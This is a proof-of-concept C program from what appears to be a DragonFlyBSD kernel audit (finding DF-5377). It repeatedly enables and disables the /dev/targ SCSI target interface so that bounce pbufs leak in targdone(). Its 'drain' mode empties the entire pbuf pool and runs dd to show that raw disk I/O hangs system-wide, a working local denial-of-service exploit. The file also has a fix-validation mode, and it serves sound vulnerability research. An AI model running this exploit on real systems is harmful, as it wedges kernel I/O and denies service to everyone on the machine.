⬢ DragonFlyBSD Kernel Audit
DF-5377 / poc5377.c
← back to finding ↓ download raw
/*
 * DF-5377 PoC: mapped CTIO bounce pbuf is never released on the
 * not-enabled targdone() free path (scsi_target.c:828-832) -- the CCB is
 * targfreeccb()'d without cam_periph_unmapmem(), so the getpbuf_mem()
 * buffer grabbed by cam_periph_mapmem() in targsendccb() leaks forever.
 *
 * Choreography per cycle (all from one privileged daemon fd, no close, so
 * the known DF-1045 targclose UAF is NOT involved):
 *   1. TARGIOCENABLE (targsim bus 0:0, PIT_PROCESSOR)
 *   2. write() XPT_CONT_TARGET_IO with CAM_DIR_IN + dxfer_len=512
 *      -> targstart -> targsendccb -> cam_periph_mapmem ->
 *         getpbuf_mem() [vm.pbuf_mem_count--]
 *      -> targsim holds the CTIO
 *   3. TARGIOCDISABLE -> abort_all_pending(): XPT_ABORT fails
 *      (targsim: CAM_UA_ABORT) so the CTIO survives; EN_LUN(disable)
 *      succeeds -> softc->state &= ~TARG_STATE_LUN_ENABLED
 *   4. sysctl hw.targsim.complete=1 -> targsim xpt_done()s the held CTIO
 *      -> targdone() sees state not enabled -> targfreeccb() ->
 *      descr + ccb freed, mapinfo->bp[0] (pbuf) NEVER relpbuf'd
 *   5. goto 1 (re-enable works on the same softc)
 *
 * Observable: vm.pbuf_mem_count drops by exactly the cycle count and
 * never recovers.  Mode "drain": leak the entire pool, then a raw
 * physio read (dd from a raw disk) blocks forever in getpbuf_mem
 * ("wswbuf5") -- system-wide raw I/O wedge.
 *
 * Usage: ./poc5377 [ncycles] [drain]
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/sysctl.h>

#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/scsi/scsi_targetio.h>

static int sysctl_int(const char *n);
static int set_sysctl(const char *n, int v);

static int
pbuf_count(void)
{
	return (sysctl_int("vm.pbuf_mem_count"));
}

int
main(int argc, char **argv)
{
	struct ioc_enable_lun en;
	union ccb uccb;
	unsigned char buf[512];
	unsigned long p;
	int fd, path_id, cycles = 8, drain = 0, i, before, after, expect;

	if (argc > 1)
		cycles = atoi(argv[1]);
	if (argc > 2 && strcmp(argv[2], "drain") == 0)
		drain = 1;

	path_id = sysctl_int("hw.targsim.path_id");
	fd = open("/dev/targ", O_RDWR);
	if (fd < 0) {
		printf("[-] open: %s\n", strerror(errno));
		return (1);
	}
	memset(&en, 0, sizeof(en));
	en.path_id = path_id;
	en.target_id = 0;
	en.lun_id = 0;

	before = pbuf_count();
	if (drain)
		cycles = before;	/* leak the whole pool */
	printf("[*] DF-5377: vm.pbuf_mem_count=%d; running %d leak "
	    "cycles (drain=%d)\n", before, cycles, drain);

	for (i = 0; i < cycles; i++) {
		int h0;

		if (ioctl(fd, TARGIOCENABLE, &en) < 0) {
			printf("[-] cycle %d TARGIOCENABLE: %s\n",
			    i, strerror(errno));
			return (1);
		}
		h0 = sysctl_int("hw.targsim.held_total");
		memset(&uccb, 0, sizeof(uccb));
		uccb.ccb_h.pinfo.priority = 5;
		uccb.ccb_h.func_code = XPT_CONT_TARGET_IO;
		uccb.ccb_h.flags = CAM_DIR_IN;
		uccb.csio.dxfer_len = sizeof(buf);
		uccb.csio.data_ptr = buf;
		p = (unsigned long)(uintptr_t)&uccb;
		if (write(fd, &p, sizeof(p)) != sizeof(p)) {
			printf("[-] cycle %d write: %s\n", i, strerror(errno));
			return (1);
		}
		/* wait until targsim actually holds the CTIO (targstart ran) */
		for (int w = 0; w < 1000; w++) {
			if (sysctl_int("hw.targsim.held_total") > h0)
				break;
			usleep(1000);
		}
		if (ioctl(fd, TARGIOCDISABLE) < 0) {
			printf("[-] cycle %d TARGIOCDISABLE: %s\n",
			    i, strerror(errno));
			return (1);
		}
		if (set_sysctl("hw.targsim.complete", 1) < 0) {
			printf("[-] cycle %d complete: %s\n", i,
			    strerror(errno));
			return (1);
		}
		usleep(50000);	/* let the cambio SWI run targdone() */
		if ((i + 1) % 50 == 0 || i + 1 == cycles) {
			printf("[*] %d/%d cycles, pbuf_mem_count=%d "
			    "(leaked so far: %d)\n", i + 1, cycles,
			    pbuf_count(), before - pbuf_count());
			fflush(stdout);
		}
	}

	after = pbuf_count();
	expect = before - cycles;
	printf("[*] after : vm.pbuf_mem_count=%d (expected %d = %d-%d)\n",
	    after, expect, before, cycles);
	if (argc > 3 && strcmp(argv[3], "readback") == 0) {
		/*
		 * Fix-validation mode (patched kernel): undelivered CCBs now
		 * sit on user_ccb_queue; re-enable + read() them back so
		 * targreturnccb() performs cam_periph_unmapmem() -- the pool
		 * must return to the baseline and stay there.
		 */
		int got = 0, n;
		uint64_t up;

		fcntl(fd, F_SETFL, O_NONBLOCK);	/* drain until EAGAIN */
		if (ioctl(fd, TARGIOCENABLE, &en) < 0)
			printf("[-] re-enable: %s\n", strerror(errno));
		usleep(100000);
		for (n = 0; n < cycles + 4; n++) {
			ssize_t r = read(fd, &up, sizeof(up));

			if (r != sizeof(up))
				break;
			got++;
		}
		sleep(1);
		printf("[*] readback: %d CCBs delivered; vm.pbuf_mem_count=%d "
		    "(baseline %d)\n", got, pbuf_count(), before);
		if (pbuf_count() == before) {
			printf("[+] FIXED: pool fully restored after daemon "
			    "read the completions\n");
			return (0);
		}
		printf("[-] pool not restored (leak persists)\n");
		return (1);
	}
	if (after == expect) {
		printf("[+] REPRODUCED: exactly one pbuf leaked per cycle, "
		    "never released (cam_periph_mapmem bp[0] dropped by "
		    "targdone's not-enabled targfreeccb path)\n");
	} else if (after < before) {
		printf("[+] partial: %d pbufs leaked (expected %d)\n",
		    before - after, cycles);
	} else {
		printf("[-] no leak observed\n");
		return (1);
	}

	if (drain) {
		printf("[*] pool drained; raw physio read should now hang "
		    "forever in getpbuf_mem (wswbuf5).  Launching dd...\n");
		fflush(stdout);
		system("dd if=/dev/da1 of=/dev/null bs=64k count=1 "
		    "2>&1 & sleep 5; ps aux | grep '[d]d if='; "
		    "echo '--- dd state above (should be stuck) ---'");
		sleep(5);
		printf("[*] if dd is still running above, raw I/O is "
		    "wedged system-wide\n");
	}
	return (0);
}

static int
sysctl_int(const char *name)
{
	int v = 0;
	size_t l = sizeof(v);

	if (sysctlbyname(name, &v, &l, NULL, 0) < 0) {
		fprintf(stderr, "[-] sysctl %s: %s\n", name, strerror(errno));
		exit(1);
	}
	return (v);
}

static int
set_sysctl(const char *name, int v)
{
	return (sysctlbyname(name, NULL, NULL, &v, sizeof(v)));
}